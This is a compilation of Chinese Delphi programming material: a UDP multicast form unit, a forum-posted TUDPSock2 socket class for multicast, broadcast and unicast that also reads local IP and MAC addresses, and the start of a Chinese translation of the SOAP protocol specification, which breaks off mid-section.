procedure SendData(Content: String);

end;

var

frmmain: Tfrmmain;

implementation

{$R *.DFM}

procedure Tfrmmain.FormCreate(Sender: TObject);

var

TempWSAData: TWSAData;

//optval: integer;

begin

Edit1.Text := MY_GROUP;

// 初始化SOCKET

if WSAStartup($101, TempWSAData)=1 then

showmessage('StartUp Error!');

s := Socket(AF_INET, SOCK_DGRAM, 0);

if (s = INVALID_SOCKET) then //Socket创建失败

begin

showmessage(inttostr(WSAGetLastError())+' Socket创建失败');

CloseSocket(s);

//exit;

end;

//发送方SockAddr绑定

addr.sin_family := AF_INET;

addr.sin_addr.S_addr := INADDR_ANY;

addr.sin_port := htons(UDPPORT);

if Bind(s, addr, sizeof(addr)) <> 0 then

begin

showmessage('bind fail');

end;

{optval:= 1;

if setsockopt(s,SOL_SOCKET,SO_BROADCAST,pchar(@optval),sizeof(optval)) = SOCKET_ERROR then

begin

showmessage('无法进行UDP广播');

end;}

mreq.imr_multiaddr.S_addr := inet_addr(pchar(MY_GROUP));//htonl(INADDR_ALLHOSTS_GROUP);

mreq.imr_interface.S_addr := htonl(INADDR_ANY);

if setsockopt(s,IPPROTO_IP,IP_ADD_MEMBERSHIP,pchar(@mreq),sizeof(mreq)) = SOCKET_ERROR then

begin

showmessage('无法进行UDP组播');

end;

WSAAsyncSelect(s, frmmain.Handle , WM_SOCK, FD_READ);

//接收端SockAddrIn设定

FSockAddrIn.SIn_Family := AF_INET;

FSockAddrIn.SIn_Port := htons(UDPPORT);

label3.Caption := '端口：'+inttostr(UDPPORT);

end;

procedure Tfrmmain.FormClose(Sender: TObject; var Action: TCloseAction);

begin

CloseSocket(s);

end;

procedure Tfrmmain.ReadData(var Message: TMessage);

var

buffer: Array [1..4096] of char;

len: integer;

flen: integer;

Event: word;

value: string;

begin

flen:=sizeof(FSockAddrIn);

Event := WSAGetSelectEvent(Message.LParam);

if Event = FD_READ then

begin

len := recvfrom(s, buffer, sizeof(buffer), 0, FSockAddrIn, flen);

value := copy(buffer, 1, len);

Memo1.Lines.add(value)

end;

end;

procedure Tfrmmain.SendData(Content: String);

var

value{,hostname}: string;

len: integer;

begin

//FSockAddrIn.SIn_Addr.S_addr := INADDR_BROADCAST;

FSockAddrIn.SIn_Addr.S_addr := inet_addr(pchar(MY_GROUP));

value := Content;

len := sendto(s, value[1], Length(value), 0, FSockAddrIn, sizeof(FSockAddrIn));

if (WSAGetLastError() <> WSAEWOULDBLOCK) and (WSAGetLastError() <> 0) then

showmessage(inttostr(WSAGetLastError()));

if len = SOCKET_ERROR then

showmessage('send fail');

if len <> Length(value) then

showmessage('Not Send all');

end;

procedure Tfrmmain.Button1Click(Sender: TObject);

begin

senddata(Edit2.text);

end;

end.

//源程序：http://www.playicq.com/dispdoc.php?t=27&id=2079


UDP广播
delphi能否实现multi-cast功能?

来自：张磊, 时间：2000-3-25 17:40:00, ID：205420

这个pas文件里面定义了一个TUDPSock2的类，利用

它你可以得到本机的IP与MAC地址。可以发送与接受

UDP的multicast，broadcast与unicast包。

使用方法:

1.创建:

Sock := TUDPSock2.Create;

2.得到IP地址:

slIP := TStringList.Create;

Sock.LocalIPs(slIP);

然后slIP里面就是字符串形式的本机IP了。

例如199.111.111.111

3.得到Mac地址:

slMac := TStringList.Create;

Sock.LocalMac(slMac);

然后旧可以得到Mac地址了,例如

00-10-5a-3e-76-88

4.发送与接受（以multicast为例)

buf : array [0..8192] of Char;

Sock.Setup(stMulticastSender);

Sock.Add('225.0.0.1', 6000);

//前者为multicast地址，后者为端口号

设置好要发送的buf的值，数据长度设为len

Sock.Send(0, @buf, len);

SockRecv := TUDPSock2.Create;

SockRecv.Setup(stMulticastReceiver);

SockRecv.Add('225.0.0.1', 6000);

SockRecv.OnRecv := OnMyRecv;

SockRecv.StartReceive;

5.销毁:

Sock.Free;

SockRecv.Free;

下面是Source:

unit U_UDPSock;

interface

uses

Classes, SysUtils, WinSock, Windows, NB30;

const

MINBUFFERSIZE = 2048;

DEFAULTBUFFERSIZE = 16384;

MAXBUFFERSIZE = 63488; //62*1024

MULTICAST_TTL = 10;

type

TArraySocket = Array Of TSocket;

PASTAT = ^TASTAT;

TASTAT = record

adapter : TAdapterStatus;

name_buf : TNameBuffer;

end;

PIP_mreq = ^TIP_mreq;

TIP_mreq = record

imr_multiaddr : in_addr;

imr_interface : in_addr;

end;

TAPInAddr = Array [0..10] of PInAddr; // array of pInaddr

PAPInAddr = ^TAPInaddr; // pointer of Array

//Note : Dut to broadcast fragmentation's problem, broadcast message can be at most

//512 bytes long defined by WinSock, not longer than 1472 by Berkeley Socket

//not longer than 1468 under MIPS machine

//So don't send a broadcast message longer than 512 here, no use

TUDPSockType = (stMultiCastSender, stMultiCastReceiver, stUnicastSender, stUnicastReceiver,

stBroadcastSender, stBroadcastReceiver);

TUDPOnRecv = procedure (buffer: Pointer; len: integer; fromIP: string; fromPort: u_Short) of Object;

TUDPRecvThd = class(TThread)

private

fSocks : TArraySocket;

fSockCount : integer;

fBufSize : integer;

fOnRecv : TUDPOnRecv;

protected

procedure Execute ; override;

public

constructor Create(var Socks : TArraySocket; OnRecv : TUDPOnRecv; BufSize : integer);

end;

TUDPSock2 = class(TObject)

private

fbSetupReady : Boolean;

fSockType : TUDPSockType;

fOnRecv : TUDPOnRecv;

fSockCount : integer;

fAddrTo : array of TSockAddr;

fMCReq : array of TIP_mreq;

fSocks : TArraySocket;

fRecvThd : TUDPRecvThd;

fLocalIP : String;

fBufSize : integer;

function LocalIPValid(var LocalIP : string): Boolean;

public

property OnRecv : TUDPOnRecv read fOnRecv write fOnRecv;

constructor Create; ReIntroduce;

destructor Destroy; Override;

procedure LocalIPs(slIPs : TStringList);

procedure LocalMAC(slMac : TStringList);

procedure StartReceive;

function Add(RemoteIP : string; Port : u_Short): integer;

function Setup(udpSockType : TUDPSockType; LocalIP : string = '';

BufferSize : integer = DEFAULTBUFFERSIZE) : Boolean;

function Close : Boolean;

function Send(index : integer; buffer : Pointer; len : integer) : Boolean;

end;

implementation

var

wsData : TWSAData;

procedure TUDPRecvThd.Execute;

var

readFDs : TFDSet;

i, nRecved, nAddrLen: integer;

buf : array [0..MAXBUFFERSIZE] of Byte;

SockFrom : TSockAddr;

begin

Priority := tpHighest;

while not Terminated do

begin

nAddrLen := SizeOf(SockFrom);

FD_ZERO(readFDs);

for i := 0 to fSockCount-1 do

FD_SET(fSocks[i], readFDs);

//The first param of select is provided just for

//compatibility with Berkeley Sockets, no meaning in WinSock

//Note!!! the select's last param here is nil

//so it can be blocked forever

Select(0, @readFDs, nil, nil, nil);

for i := 0 to fSockCount-1 do

if FD_ISSET(fSocks[i], readFDs) then

begin

nRecved := RecvFrom(fSocks[i], buf, fBufSize, 0, SockFrom, nAddrLen);

if Assigned(fOnRecv) then

//Note!!! I didn't call Synchronize here so u can call Terminate and WaitFor

//but I suggest using Suspend and Free STRONGLY!

//For the call of select can be blocked forever

fOnRecv(@buf, nRecved, string(Inet_Ntoa(SockFrom.sin_addr)),

Cardinal(Ntohs(SockFrom.sin_port)));

end;

end;

end;

constructor TUDPRecvThd.Create(var Socks : TArraySocket; OnRecv : TUDPOnRecv; BufSize : integer);

begin

fSocks := Socks;

fOnRecv := OnRecv;

fBufSize := BufSize;

fSockCount := High(Socks) + 1; //must start with 0, Low(Socks) is always 0

FreeOnTerminate := True;

inherited Create(False);

end;

procedure TUDPSock2.LocalIPs(slIPs : TStringList);

var

strLocalHost : string;

pHE : PHostent;

pInAd : PAPInAddr;

saLocal : TSockAddr;

i : integer;

begin

SetLength(strLocalHost, 255);

if GetHostName(PChar(strLocalHost), 254) = SOCKET_ERROR then

Exit;

pHE := GetHostByName(PChar(strLocalHost));

pInAd := PAPInAddr(pHE^.h_addr_list);

saLocal.sin_addr := (pInAd^[0]^);

i := 0;

while True do

begin

slIPs.Add(inet_ntoa(saLocal.sin_addr));

i := i + 1;

if(pInAd^[i] <> nil) then

saLocal.sin_addr := (pInAd^[i]^) //local host

else

break;

end;

end;

procedure TUDPSock2.LocalMAC(slMac : TStringList);

var

ncb : TNCB;

adapt : TASTAT;

lanaEnum : TLanaEnum;

i, j : integer;

strPart, strMac : string;

begin

FillChar(ncb, SizeOf(TNCB), 0);

ncb.ncb_command := Char(NCBEnum);

ncb.ncb_buffer := PChar(@lanaEnum);

ncb.ncb_length := SizeOf(TLanaEnum);

Netbios(@ncb);

for i := 0 to integer(lanaEnum.length)-1 do

begin

FillChar(ncb, SizeOf(TNCB), 0);

ncb.ncb_command := Char(NCBReset);

ncb.ncb_lana_num := lanaEnum.lana[i];

Netbios(@ncb);

FillChar(ncb, SizeOf(TNCB), 0);

ncb.ncb_command := Chr(NCBAstat);

ncb.ncb_lana_num := lanaEnum.lana[i];

ncb.ncb_callname := '* ';

ncb.ncb_buffer := PChar(@adapt);

ncb.ncb_length := SizeOf(TASTAT);

if Netbios(@ncb) = Chr(0) then

begin

strMac := '';

for j := 0 to 5 do

begin

strPart := IntToHex(integer(adapt.adapter.adapter_address[j]), 2);

strMac := strMac + strPart + '-';

end;

SetLength(strMac, Length(strMac)-1);

slMac.Add(strMac);

end;

end;

end;

procedure TUDPSock2.StartReceive;

begin

if fRecvThd <> nil then

Exit;

if ((fSockType = stUnicastReceiver) or (fSockType = stMulticastReceiver)

or (fSockType = stBroadcastReceiver)) and (fSockCount > 0) then

fRecvThd := TUDPRecvThd.Create(fSocks, fOnRecv, fBufSize);

end;

function TUDPSock2.LocalIPValid(var LocalIP : string): Boolean;

var

i : integer;

slLocalIPs : TStringList;

begin

Result := False;

slLocalIPs := TStringList.Create;

Self.LocalIPs(slLocalIPs);

if slLocalIPs.Count = 0 then

begin

slLocalIPs.Free;

Exit;

end;

if LocalIP = '' then

begin

LocalIP := slLocalIPs[0]; //Default Interface

Result := True;

end else

for i:=0 to slLocalIPs.Count-1 do

if Trim(slLocalIPs[i]) = Trim(LocalIP) then

begin

Result := True;

Break;

end;

slLocalIPs.Free;

end;

function TUDPSock2.Setup(udpSockType : TUDPSockType; LocalIP : string = '';

BufferSize : integer = DEFAULTBUFFERSIZE):Boolean;

begin

Result := False;

//Already started?

if fSockCount > 0 then

Exit;

//Local IP set valid?

if not LocalIPValid(LocalIP) then

Exit;

//Buffer Size Valid?

if not ((BufferSize <= MAXBUFFERSIZE) and (BufferSize >= MINBUFFERSIZE)) then

Exit;

fSockType := udpSockType;

fBufSize := BufferSize;

fLocalIP := LocalIP;

fbSetupReady := True;

Result := True;

end;

function TUDPSock2.Add(RemoteIP : string; Port : u_Short): integer;

var

nMCAddr : Cardinal;

nTTL, nReuseAddr : integer;

Sock : TSocket;

SockAddrLocal, SockAddrRemote : TSockAddr;

MCReq : TIP_mreq;

pPE : PProtoEnt;

begin

Result := -1;

//Maximum fds allowed

if fSockCount = FD_SETSIZE then

Exit;

//Already started?

if (fRecvThd <> nil) or (not fbSetupReady) then

Exit;

//Multicast address valid?

if (fSockType = stMultiCastSender) or (fSockType = stMultiCastReceiver) then

begin

nMCAddr := ntohl(inet_addr(PChar(RemoteIP)));

//though Multicast ip is between 224.0.0.0 to 239.255.255.255

//the 224.0.0.0 to 224.0.0.225 ips are reserved for system

if not ((nMCAddr <= $efffffff) and (nMCAddr >= $e0000100)) then

Exit;

end;

pPE := GetProtoByName('UDP');

//Create Socket

Sock := Socket(AF_INET, SOCK_DGRAM, pPE.p_proto);

if Sock = INVALID_SOCKET then

Exit;

//Reuse the address, according to WinSock help, nReuseAddr must be a BOOL and

//the fifth param must be SizeOf(integer), but in a sample codes, the fifth is SizeOf(BOOL)

//faint! I used integer and SizeOf(integer) is also OK

nReuseAddr := 1;

if SetSockOpt(Sock, SOL_SOCKET, SO_REUSEADDR, @nReuseAddr, SizeOf(integer)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

//Set Local Address and bind

FillChar(SockAddrLocal, SizeOf(SockAddrLocal), 0);

SockAddrLocal.sin_family := AF_INET;

if (fSockType = stMultiCastSender) or (fSockType = stUnicastSender)

or (fSockType = stBroadcastSender) then

SockAddrLocal.sin_port := htons(0)

else

SockAddrLocal.sin_port := htons(Port);

SockAddrLocal.sin_addr.S_addr := Inet_Addr(PChar(fLocalIP));

if Bind(Sock, SockAddrLocal, SizeOf(SockAddrLocal)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

if (fSockType = stMultiCastSender) or (fSockType = stUnicastSender)

or (fSockType = stBroadcastSender)then

begin

//Set Send Buffer Size

if SetSockOpt(Sock, SOL_SOCKET, SO_SNDBUF, @fBufSize, SizeOf(integer)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

//Set output interface

if fSockType = stMultiCastSender then

begin

if SetSockOpt(Sock, IPPROTO_IP, IP_MULTICAST_IF, @(SockAddrLocal.sin_addr),

SizeOf(In_Addr)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

nTTL := MULTICAST_TTL;

if SetSockOpt(Sock, IPPROTO_IP, IP_MULTICAST_TTL, @nTTL, SizeOf(integer)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

end else //For send, must set the opt SO_BROADCAST

if fSockType = stBroadcastSender then

if SetSockOpt(Sock, SOL_SOCKET, SO_BROADCAST, @nReuseAddr, SizeOf(integer))

= SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

FillChar(SockAddrRemote, SizeOf(SockAddrRemote), 0);

SockAddrRemote.sin_family := AF_INET;

SockAddrRemote.sin_port := htons(Port);

if fSockType = stBroadcastSender then

SockAddrRemote.sin_addr.S_addr := htonl(INADDR_BROADCAST)

else

SockAddrRemote.sin_addr.S_addr := Inet_Addr(PChar(RemoteIP));

fSockCount := fSockCount + 1;

SetLength(fAddrTo, fSockCount);

fAddrTo[fSockCount-1] := SockAddrRemote;

end else //UDPReceiver or MulticastReceiver or BroadcastReceiver

begin

//Set Receive Buffer Size

if SetSockOpt(Sock, SOL_SOCKET, SO_RCVBUF, @fBufSize, SizeOf(integer)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

//Join Group

if fSockType = stMulticastReceiver then

begin

MCReq.imr_multiaddr.S_addr := Inet_Addr(PChar(RemoteIP));

MCReq.imr_interface.S_addr := Inet_Addr(PChar(fLocalIP));

if SetSockOpt(Sock, IPPROTO_IP, IP_ADD_MEMBERSHIP, @MCReq,

SizeOf(TIP_mreq)) = SOCKET_ERROR then

begin

CloseSocket(Sock);

Exit;

end;

end;

fSockCount := fSockCount + 1;

if fSockType = stMulticastReceiver then

begin

SetLength(fMCReq, fSockCount);

fMCReq[fSockCount-1] := MCReq;

end;

end;

SetLength(fSocks, fSockCount);

fSocks[fSockCount-1] := Sock;

Result := fSockCount - 1;

end;

function TUDPSock2.Close:Boolean;

var

i : integer;

begin

Result := False;

if fSockCount = 0 then

Exit;

if (fSockType = stUnicastReceiver) or (fSockType = stMulticastReceiver)

or (fSockType = stBroadcastReceiver) then

begin

//Exception will be? :( I don't know

if fRecvThd <> nil then

begin

fRecvThd.Suspend;

fRecvThd.Free;

fRecvThd := nil;

end;

if fSockType = stMulticastReceiver then

for i := 0 to fSockCount - 1 do

SetSockOpt(fSocks[i], IPPROTO_IP, IP_DROP_MEMBERSHIP, @fMCReq[i], SizeOf(fMCReq[i]));

end;

for i := 0 to fSockCount - 1 do

CloseSocket(fSocks[i]);

SetLength(fMCReq, 0);

SetLength(fSocks, 0);

SetLength(fAddrTo, 0);

fbSetupReady := False;

fSockCount := 0;

end;

function TUDPSock2.Send(index : integer; buffer : Pointer; len : integer) : Boolean;

begin

Result := False;

if (len < 0) or (index < 0) or (index >= fSockCount) then

Exit;

if (fSockType <> stMultiCastSender) and (fSockType <> stUnicastSender)

and (fSockType <> stBroadcastSender) then

Exit;

if SendTo(fSocks[index], buffer^, len, 0{MSG_DONTROUTE}, fAddrTo[index],

SizeOf(fAddrTo[index])) <> SOCKET_ERROR then

Result := True;

end;

constructor TUDPSock2.Create;

begin

fbSetupReady := False;

fSockCount := 0;

fRecvThd := nil;

end;

destructor TUDPSock2.Destroy;

begin

if fSockCount > 0 then

Self.Close;

end;

initialization

if WSAStartup(MakeWord(2,0), wsData)<>0 then

raise Exception.Create('Cannot use the socket service!');

finalization

WSACleanup;

end.

附件>>>>> Mc[1].rar


SOAP协议规范
SOAP协议规范

SOAP协议规范

W3C

摘　要：SOAP协议规范中文版

关键字：SOAP 协议

类　别：XML

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

1. 简介

SOAP以XML形式提供了一个简单、轻量的用于在分散或分布环境中交换结构化和类型信息的机制。SOAP本身并没有定义任何应用程序语义，如编程模型或特定语义的实现；实际上它通过提供一个有标准组件的包模型和在模块中编码数据的机制，定义了一个简单的表示应用程序语义的机制。这使SOAP能够被用于从消息传递到RPC的各种系统。

SOAP包括三个部分

SOAP封装（见第4节）结构定义了一个整体框架用来表示消息中包含什么内容，谁来处理这些内容以及这些内容是可选的或是必需的。

SOAP编码规则（见第5节）定义了用以交换应用程序定义的数据类型的实例的一系列机制。

SOAP RPC表示（见第7节）定义了一个用来表示远程过程调用和应答的协定。

虽然这三个部分都作为SOAP的一部分一起描述，但它们在功能上是相交的。特别的，封装和编码规则是在不同的名域中定义的，这种模块性的定义方法增加了简单性在SOAP封装，SOAP编码规则和SOAPRPC协定之外，这个规范还定义了两个协议的绑定，描述了在有或没有HTTP扩展框架[6]的情况下，SOAP消息如何包含在HTTP消息[5]中被传送。

1.1 设计目标

SOAP的主要设计目标是简单性和可扩展性，这意味着传统的消息系统和分布对象系统的某些性质不是SOAP规范的一部分。这些性质包括：

分布式碎片收集

成批传送消息

对象引用（要求分布式碎片收集）

激活机制（要求对象引用）

1.2 符号约定

这篇文章中的关键字 "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT","SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", 和"OPTIONAL"的解释在RFC-2119 [2]中。 这篇文章中用到的名域前缀 "SOAP-ENV" 和"SOAP-ENC"分别与"http://schemas.xmlsoap.org/soap/envelope/" 和"http://schemas.xmlsoap.org/soap/encoding/"关联。整篇文档中，名域前缀“xsi”被假定为与URI"http://www.w3.org/1999/XMLSchema-instance“（在XMLSchema规范[11]定义）相连。类似的，名域前缀”xsd“被假定为与URI"http://www.w3.org/1999/XMLSchema"（在[10]中定义）相连。名域前缀”tns“用来表示任意名域。所有其它的名域前缀都只是例子。

名域URI的基本形式”some－URI“表示某些依赖于应用程序或上下文的URI[4]。这个规范用扩展BNF（在RFC－2616[5] 描述）描述某些结构。

1.3 SOAP消息举例

在这个例子中，GetLastTradePrice SOAP 请求被发往StockQuote服务。这个请求携带一个字符串参数和ticker符号，在SOAP应答中返回一个浮点数。XML名域用来区分SOAP标志符和应用程序特定的标志符。这个例子说明了在第6节中定义的HTTP绑定。如果SOAP中管理XML负载的规则完全独立于HTTP是没有意义的，因为事实上该负载是由HTTP携带的。在Appendix A中有更多的例子。

例1 在HTTP请求中嵌入SOAP消息

POST /StockQuote HTTP/1.1

Host:

www.stockquoteserver.com

Content-Type: text/xml;

charset="utf-8"

Content-Length: nnnn

SOAPAction:

"Some-URI"

<SOAP-ENV:Envelope

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<SOAP-ENV:Body>

<m:GetLastTradePrice xmlns:m="Some-URI">

<symbol>DIS</symbol>

</m:GetLastTradePrice>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

下面是一条应答消息，包括HTTP消息，SOAP消息是其具体内容 ：

例2 在HTTP应答中嵌入SOAP消息

HTTP/1.1 200 OK

Content-Type: text/xml;

charset="utf-8"

Content-Length:

nnnn

<SOAP-ENV:Envelope

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>

<SOAP-ENV:Body>

<m:GetLastTradePriceResponse xmlns:m="Some-URI">

<Price>34.5</Price>

</m:GetLastTradePriceResponse>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

2. SOAP消息交换模型

SOAP消息从发送方到接收方是单向传送，但正如上面显示的，SOAP消息经常以请求/应答的方式实现。SOAP实现可以通过开发特定网络系统的特性来优化。例如，HTTP绑定（见第6节）使SOAP应答消息以HTTP应答的方式传输，并使用同一个连接返回请求。不管SOAP被绑定到哪个协议，SOAP消息采用所谓的”消息路径“发送，这使在终节点之外的中间节点可以处理消息。一个接收SOAP消息的SOAP应用程序必须按顺序执行以下的动作来处理消息：识别应用程序想要的SOAP消息的所有部分 （见4.2.2节）检验应用程序是否支持第一步中识别的消息中所有必需部分并处理它。如果不支持，则丢弃消息（见4.4节）。在不影响处理结果的情况下，处理器可能忽略第一步中识别出的可选部分。如果这个SOAP应用程序不是这个消息的最终目的地，则在转发消息之前删除第一步中识别出来的所有部分。为了正确处理一条消息或者消息的一部分，SOAP处理器需要理解：所用的交换方式（单向，请求/应答，多路发送等等），这种方式下接收者的任务，RPC机制（如果有的话）的使用（如第7节中所述），数据的表现方法或编码，还有其它必需的语义。尽管属性（比如SOAP encodingstyle，见4.1.1节）可以用于描述一个消息的某些方面，但这个规范并不 强制所有的接收方也必须有同样的属性并取同样的属性值。举个例子，某一特定的应用可能知道一个元素表示一条遵循第7节约定的RPC请求，但是另外一些应用可能认为指向该元素的所有消息都用单向传输，而不是类似第7节的请求应答模式。

（译者注：交互双方的SOAP消息并不一定要遵循同样的格式设定，而只需要以一种双方可理解的格式交换信息就可以了）

3. 与XML的关系

所有的SOAP消息都使用XML形式编码（更多有关XML的信息请见[7]）一个SOAP应用程序产生的消息中，所有由SOAP定义的元素和属性中必须包括正确的名域。SOAP应用程序必须能够处理它接收到的消息中的SOAP名域（见4.4节），并且它可以处理没有SOAP名域的SOAP消息，就象它们有正确的名域一样。SOAP定义了两个名域（更多有关XML名域的信息请见[8]）

SOAP封装的名域标志符是"http://schemas.xmlsoap.org/soap/envelope/"

SOAP的编码规则的名域标志符是"http://schemas.xmlsoap.org/soap/encoding/"

SOAP消息中不能包含文档类型声明，也不能包括消息处理指令。[7] SOAP使用"ID"类型"id"属性来指定一个元素的唯一的标志符，同时该属性是局部的和无需校验的。SOAP使用"uri-reference"类型的"href"属性指定对这个值的引用，同时该属性是局部的和无需校验的。这样就遵从了XML规范[7]，XMLSchema规范[11]和XML连接语言规范[9]的风格。除了SOAP mustUnderstand 属性(见4.2.3节）和SOAPactor属性(见4.2.2节）之外，一般允许属性和它们的值出现在XML文档实例或Schema中（两者效果相同）。也就是说，在DTD或Schema中声明一个缺省值或固定值和在XML文档实例中设置它的值在语义上相同。

4. SOAP封装

SOAP消息是一个XML文档，包括一个必需的SOAP封装，一个可选的SOAP头和一个必需的SOAP体。在这篇规范剩余部分中，提到SOAP消息时就是指这个XML文档。这一节中定义的元素和属性的名域标志符为：

"http://schemas.xmlsoap.org/soap/envelope/" 。一个SOAP消息包括以下部分：1.在表示这个消息的XML文档中，封装是顶层元素。2.应用SOAP交换信息的各方是分散的且没有预先协定，SOAP头提供了向SOAP消息中添加关于这条SOAP消息的某些要素(feature)的机制。SOAP定义了少量的属性用来表明这项要素（feature）是否可选以及由谁来处理。（见4.2节）3.SOAP体是包含消息的最终接收者想要的信息的容器（见4.3节）。SOAP为SOAP体定义了一个Fault元素用来报告错误信息。语法规则如下所示：

封装

元素名是 "Envelope"

在SOAP消息中必须出现。

可以包含名域声明和附加属性。如果包含附加属性，这些属性必须限定名域。类似的，"Envelope"可以包含附加子元素，这些也必须限定名域且跟在SOAP体元素之后。

SOAP头 （见4.2节）

元素名是"Header"

在SOAP消息中可能出现。如果出现的话，必须是SOAP封装元素的第一个直接子元素。

SOAP头可以包含多个条目，每个都是SOAP头元素的直接子元素。所有SOAP头的直接子元素都必须限定名域。

SOAP体 （见4.3节）

元素名是"Body"

在SOAP消息中必须出现且必须是SOAP封装元素的直接子元素。它必须直接跟在SOAP头元素（如果有）之后。否则它必须是SOAP封装元素的第一个直接子元素。

SOAP体可以包括多个条目，每个条目必须是SOAP体元素的直接子元素。SOAP体元素的直接子元素可以限定名域。SOAP定义了SOAPFault元素来表示错误信息。

4.1.1 SOAP encodingStyle属性

EncodingStyle全局属性用来表示SOAP消息的序列化规则。这个属性可以在任何元素中出现，作用范围与名域声明的作用范围很相似，为这个元素的内容和它的所有没有重载此属性的子元素。SOAP消息没有定义缺省编码。属性值是一个或多个URI的顺序列表，每个URI确定了一种或多种序列化规则，用来不同程度反序列化SOAP消息，举例如下：

"http://schemas.xmlsoap.org/soap/encoding/"

"http://my.host/encoding/restricted http://my.host/encoding/"

""

第5节中定义的序列化规则由URI"http://schemas.xmlsoap.org/soap/encoding/" 确定。使用这个特定序列化规则的消息应该用encodingStyle属性说明这一点。另外，所有以"http://schemas.xmlsoap.org/soap/encoding/"开头的URI中的序列化规则与第5节中定义的SOAP编码规则相一致。一个零长度的URI（""）明确显示所含元素没有任何编码形式。这可以用来取消上一级元素的所有编码声明。

4.1.2 封装版本模型

SOAP没有定义常规的基于主版本号和辅版本号的版本形式。SOAP消息必须有一个封装元素与名域"http://schemas.xmlsoap.org/soap/envelope/"关联。如果SOAP应用程序接收到的SOAP消息中的SOAP封装元素与其他的名域关联，则视为版本错误，应用程序必须丢弃这个消息。如果消息是通过HTTP之类的请求/应答协议收到的，应用程序必须回答一个SOAP VersionMismatch 错误信息（见4.4节）。

4.2 SOAP头

SOAP为相互通信的团体之间提供了一种很灵活的机制：在无须预先协定的情况下，以分散但标准的方式扩展消息。可以在SOAP头中添加条目实现这种扩展，典型的例子有认证，事务管理，支付等等。头元素编码为SOAP封装元素的第一个直接子元素。头元素的所有直接子元素称作条目。条目的编码规则如下：

一个条目有它的完整的元素名（包括名域URI和局部名）确定。SOAP头的直接子元素必须有名域限制。

SOAP encodingStyle属性可以用来指示条目所用的编码形式（见4.1.1节）

SOAP mustUnderstand属性（见4.2.3节）和SOAPactor属性（见4.2.2节）可以用来指示如何处理这个条目以及由谁来处理。（见4.2.1节）

4.2.1 使用头属性

这一节中定义的SOAP头属性确定了SOAP消息的接收者应该怎样按第2节中所述的方式处理消息。产生SOAP消息的SOAP应用程序，应该仅仅在SOAP头元素的直接子元素中使用这些SOAP头属性。SOAP消息的接收者必须忽略所有不在SOAP头元素的直接子元素中SOAP头属性。下面的例子是一个SOAP头，包括一个元素标志符"Transaction"，"mustUnderstand"取值为"1"和数值5。这应该以如下方式编码：

<SOAP-ENV:Header>

<t:Transaction

xmlns:t="some-URI" SOAP-ENV:mustUnderstand="1">

5

</t:Transaction>

</SOAP-ENV:Header>

4.2.2 SOAP actor属性

一个SOAP消息从始节点到终节点的过程中，可能沿着消息路径经过一系列SOAP中间节点。一个SOAP中间节点是一个可以接收转发SOAP消息的应用程序。中间节点和终节点由URI区分。可能SOAP消息的终节点并不需要所有部分，而在消息路径上的一个和几个中间节点可能需要这些内容。头元素的接收者扮演的角色类似于一个过滤器，防止这些只发给本接受者的消息部分扩散到其它节点。即一个头元素的接收者必须不转发这些头元素到SOAP消息路径上的下一个应用程序。同样的，接收者可能插入一个相似的头元素。SOAP actor全局属性可以用于指示头元素的接收者。SOAP actor属性的值是一个URI。

URI "http://schemas.xmlsoap.org/soap/actor/next"指出了第一个处理这个消息的SOAP应用程序需要这个头元素。这类似于HTTP头中用Connection域表示hop-by-hop范围模型。省略SOAP actor属性表示接收者是SOAP消息的终节点。如果这个属性要生效，它必须出现在SOAP消息实例中。（见第3节和4.2.1节）

4.2.3 SOAP mustUnderstand属性

SOAP mustUnderstand全局属性用来指示接受者在处理消息时这个条目是否必须处理。条目的接收者由SOAP actor属性定义（见4.2.2节）。MustUnderstand属性的值是"1" 或 "0"。缺少SOAP mustUnderstand属性在语义上等同于它的值为"0"。如果一个头元素的SOAP mustUnderstand属性的值是"1",那么条目的接受者必须或者遵守语义（如以元素的全名传送）并按照语义正确的处理，或者放弃处理消息（见4.4节）。SOAP mustUnderstand 属性考虑了消息演变的准确性（robust evolution）。必须假定包含SOAP mustUnderstand属性且值为"1"的元素以某种方式修改了它们的父元素或同层元素的语义。以这种方式连接元素确保了语义上的变化不会被那些不能完全理解它的接收者忽略。如果这个属性要生效，它必须出现在SOAP消息实例中。（见第3节和4.2.1节）

4.3 SOAP体

SOAP体元素提供了一个简单的机制，使消息的最终接收者能交换必要的信息。使用体元素的典型情况包括配置RPC请求和错误报告。体元素编码为SOAP封装元素的直接子元素。如果已经有一个头元素，那么体元素必须紧跟在头元素之后，否则它必须是SOAP封装元素的第一个直接子元素。体元素的所有直接子元素称作体条目，每个体条目在SOAP体元素中编码为一个独立的元素。条目的编码规则如下：

一个条目由它的元素全名（包括名域URI和局部名）确定。SOAP体元素的直接子元素可能是名域限制的。

SOAP encodingStyle属性可能用来指示条目（见4.1.1节）的编码方式。

SOAP定义了一个Fault条目用来报告错误信息。（见4.4节）

4.3.1 SOAP头和体的关系

虽然头和体定义为独立的元素，它们实际上是有关系的。体条目和头条目的关系如下：体条目在语义上等同于actor属性为缺省值且mustUnderstand属性值为"1"的头条目。不使用actor属性则表示缺省的actor。（见4.2.2节）

4.4 SOAP错误

SOAP错误元素用于在SOAP消息中携带错误和（或）状态信息。如果有SOAP错误元素，它必须以以体条目的方式出现，并且在一个体元素中最多出现一次。SOAP错误元素定义了以下四个子元素：

faultcode

faultcode元素给软件提供了一个识别此错误的算法机制。SOAP错误元素必须有faultcode子元素，并且它的值必须是一个合法的名（在[8]节定义）。SOAP定义一些SOAP faultcode描述基本的SOAP错误（见4.4.1节）。

faultstring

